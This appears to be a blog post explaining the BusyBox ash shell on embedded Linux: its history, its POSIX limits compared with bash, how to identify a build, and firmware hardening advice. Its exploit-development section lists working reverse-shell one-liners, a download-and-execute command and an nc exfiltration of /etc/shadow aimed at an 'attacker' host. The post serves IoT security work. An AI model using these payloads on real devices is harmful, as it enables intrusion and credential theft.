Check what shell you're actually in
If you've spent any time poking around embedded Linux devices, you've used ash. You might not have realized it. You might have thought you were using sh. But odds are, that /bin/sh symlink pointed straight to BusyBox, and BusyBox handed you ash.
Ash — the Almquist Shell — is a lightweight, POSIX-compliant shell that has quietly become the default interactive and scripting shell on most embedded Linux systems. It's not bash. It's not zsh. It's not trying to be. It's trying to be small, fast, and correct enough to get the job done on hardware that doesn't have the luxury of opinions.
Where Did It Come From?
Ash was originally written by Kenneth Almquist in the late 1980s as a BSD-licensed replacement for the Bourne shell. The goal was simple: a clean, minimal, POSIX-conformant shell without the bloat of bash or the licensing baggage of the original sh.
It showed up in 4.3BSD-Reno, then later became the default /bin/sh in FreeBSD, NetBSD, and other BSD derivatives. Debian's dash (Debian Almquist Shell) is a direct descendant. So is the version baked into BusyBox.
The BusyBox implementation isn't a straight port. It's been trimmed, modified, and integrated into the BusyBox applet framework. But the lineage is clear. If you understand ash, you understand the shell on roughly 90% of the embedded Linux devices you'll ever touch.
Why Ash and Not Bash?
Because bash is enormous by embedded standards.
A typical bash binary is over a megabyte. It links against readline, ncurses, and a pile of other libraries. It supports history expansion, programmable completion, arrays, associative arrays, process substitution, and dozens of other features that are great on a developer workstation and completely unnecessary on a router with 4MB of flash.
Ash, by comparison, compiles down to a fraction of that size. The BusyBox implementation is even smaller because it shares code with the rest of the BusyBox binary. On a device where the entire root filesystem fits in 8 megabytes, that difference matters.
It's not just size. Startup time is faster. Memory footprint is lower. There's less attack surface. For a device that boots, runs some init scripts, and maybe exposes a management shell over serial or telnet, ash is more than enough.
Vendors don't choose ash because they love it. They choose it because they can't afford bash.
What It Supports
Ash is POSIX-compliant. That means it supports everything the POSIX shell specification requires:
- Variables, parameter expansion, command substitution
- Pipes, redirections, here-documents
- Control flow:
if,for,while,case,until - Functions
- Traps and signal handling
- Exit status and conditional execution (
&&,||) - Background jobs with
& - The
.(source) builtin - Built-in
test/[
If you write POSIX shell scripts, they'll run in ash. That's the point.
The BusyBox build of ash can optionally include some extras depending on compile-time flags: basic command history, job control, printf as a builtin, echo -e support, and a few other quality-of-life features. But these are opt-in, and many firmware builds leave them disabled to save space.
What It Doesn't Support
This is where people get burned.
If you've spent your life writing bash scripts, you will hit walls in ash. Fast. Here's what's missing:
- Arrays. No indexed arrays. No associative arrays.
declare -adoesn't exist. If your script relies on arrays, it won't work. syntax. Ash uses[ ](the POSIXtestbuiltin). Double brackets are a bashism. They will throw a syntax error.- Process substitution. No
<(command)or>(command). You'll need temporary files or named pipes. {1..10}brace expansion. Doesn't exist. Useseqif it's available, or awhileloop.$RANDOM. Not a thing in POSIX sh. Some BusyBox builds include it as an extension, most don't.functionkeyword. Usemyfunc() { ... }instead offunction myfunc { ... }.- Here strings. No
<<<"string". Use a here-document orechopiped in. - Programmable completion. Tab completion is either absent or extremely basic.
set -o pipefail. Not available in most ash implementations. A pipeline's exit status is the exit status of the last command, period.
The pattern is clear: if it's not in the POSIX spec, don't assume ash has it. And even if you've been writing "shell scripts" for years, odds are good you've been writing bash scripts without knowing it.
Ash in the Wild
When you extract firmware and start looking at init scripts, you're reading ash scripts. When you get a shell on an IoT device over serial or through a command injection vulnerability, you're probably sitting in ash.
Common indicators:
/bin/sh -> busybox
/bin/ash -> busybox
Or just check:
ls -la /bin/sh
readlink /bin/sh
If it points to BusyBox, you're in ash.
You'll also see ash referenced directly in shebang lines across the filesystem:
#!/bin/sh
#!/bin/ash
Both resolve to the same thing on a BusyBox system. The distinction is cosmetic.
Working With Ash on Target
Once you land on a device running ash, a few things change compared to working in bash.
There's usually no command history. Pressing the up arrow might print ^[[A instead of recalling your last command. If you're used to readline keybindings, forget them. Some BusyBox builds include a minimal line editor called lineedit, but don't count on it.
Tab completion is often missing entirely. You're typing full paths.
Error messages are terse. Ash won't tell you "syntax error near unexpected token." It'll say syntax error and leave you to figure it out.
And if you try to run a bash script you wrote on your laptop? It'll break in silent and confusing ways. A -z "$VAR" test won't throw a loud error — it'll just behave unpredictably. This is especially dangerous in exploit scripts. Test against ash before deploying.
Practical tips for working in ash on a live target:
# Check what shell you're actually in
echo $0
# See if any history support exists
set -o
# POSIX-safe string comparison
if [ "$VAR" = "value" ]; then echo "match"; fi
# POSIX-safe empty string check
if [ -z "$VAR" ]; then echo "empty"; fi
# Iterate without brace expansion
i=1; while [ $i -le 10 ]; do echo $i; i=$((i + 1)); done
# Redirect stderr
command 2>/dev/null
# Background a process
command &
Ash for Exploit Development
If you're writing payloads that need to execute on embedded targets, ash compatibility is not optional. It's a hard requirement.
Command injection payloads that use bashisms will fail silently on ash. Reverse shell one-liners that depend on /dev/tcp (a bash extension) won't work. Post-exploitation scripts that use arrays or process substitution will break.
Patterns that work reliably in ash:
# Reverse shell (using netcat from BusyBox)
busybox nc attacker 4444 -e /bin/sh
# Reverse shell (pipe-based, no -e flag needed)
mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | busybox nc attacker 4444 > /tmp/f
# Download and execute
busybox wget http://attacker/payload -O /tmp/p; chmod +x /tmp/p; /tmp/p
# Exfiltrate a file
busybox nc attacker 4445 < /etc/shadow
# Simple loop over a list
for host in 192.168.1.1 192.168.1.2 192.168.1.3; do
busybox ping -c 1 "$host" &> /dev/null && echo "$host is up"
done
Rule of thumb: if it runs in dash on a Debian system, it'll run in ash. Use dash as your local test shell and you'll avoid most compatibility issues.
Identifying Ash Capabilities
Not all ash builds are equal. BusyBox compile-time flags determine what your shell can actually do.
To figure out what you're working with:
# Check BusyBox build options (if the binary supports it)
busybox | head -1
# Look for shell-related config
strings /bin/busybox | grep -i "ash\|shell\|hush"
# Test for specific features
echo $((1 + 1)) # Arithmetic expansion
type printf # printf builtin?
echo -e "\x41" # -e flag support?
Some BusyBox builds use hush instead of ash. Hush is even more minimal — it's designed for the absolute lowest-resource environments and drops features that ash considers essential. If hush shows up in the strings output, brace yourself. It's going to be a rough day.
Defending Against Ash Abuse
If you're building firmware and shipping ash (and you probably are), a few things worth considering:
- Disable interactive shells where possible. If the device doesn't need a login shell, don't ship one. Set user shells to
/bin/falseor/sbin/nologin. - Restrict BusyBox applets. Compile only what you need. If the device doesn't need
nc,wget,telnetd, orftpd, don't include them. Every applet is a capability an attacker inherits. - Audit init scripts. Most embedded init scripts are ash scripts. They run as root. They frequently contain hardcoded credentials, debug flags, and insecure
chmod/chowncalls. Read them. - Drop capabilities. If a process doesn't need a full shell, use
execto replace the shell process with the target binary directly. - Read-only root filesystems. If an attacker can't write to
/etcor/bin, persistence becomes significantly harder. SquashFS helps here.
None of this is ash-specific security advice, really. It's general embedded hardening. But ash is the environment where all of these weaknesses get exploited, so it's worth thinking about in that context.
Final Thoughts
Ash is one of those tools that's invisible until it isn't. It's the default shell on billions of devices, and most people using it don't even know its name. They think they're using sh. They think their bash scripts are portable. They're wrong on both counts.
If you do IoT security work — offense or defense — ash fluency is non-negotiable. Know what it supports. Know what it doesn't. Know how to write clean POSIX shell that won't break on target. Know how to identify the build and its capabilities.
It's not glamorous. It's not modern. It's not fancy. But it's on every device you'll ever touch.
So you might as well understand it.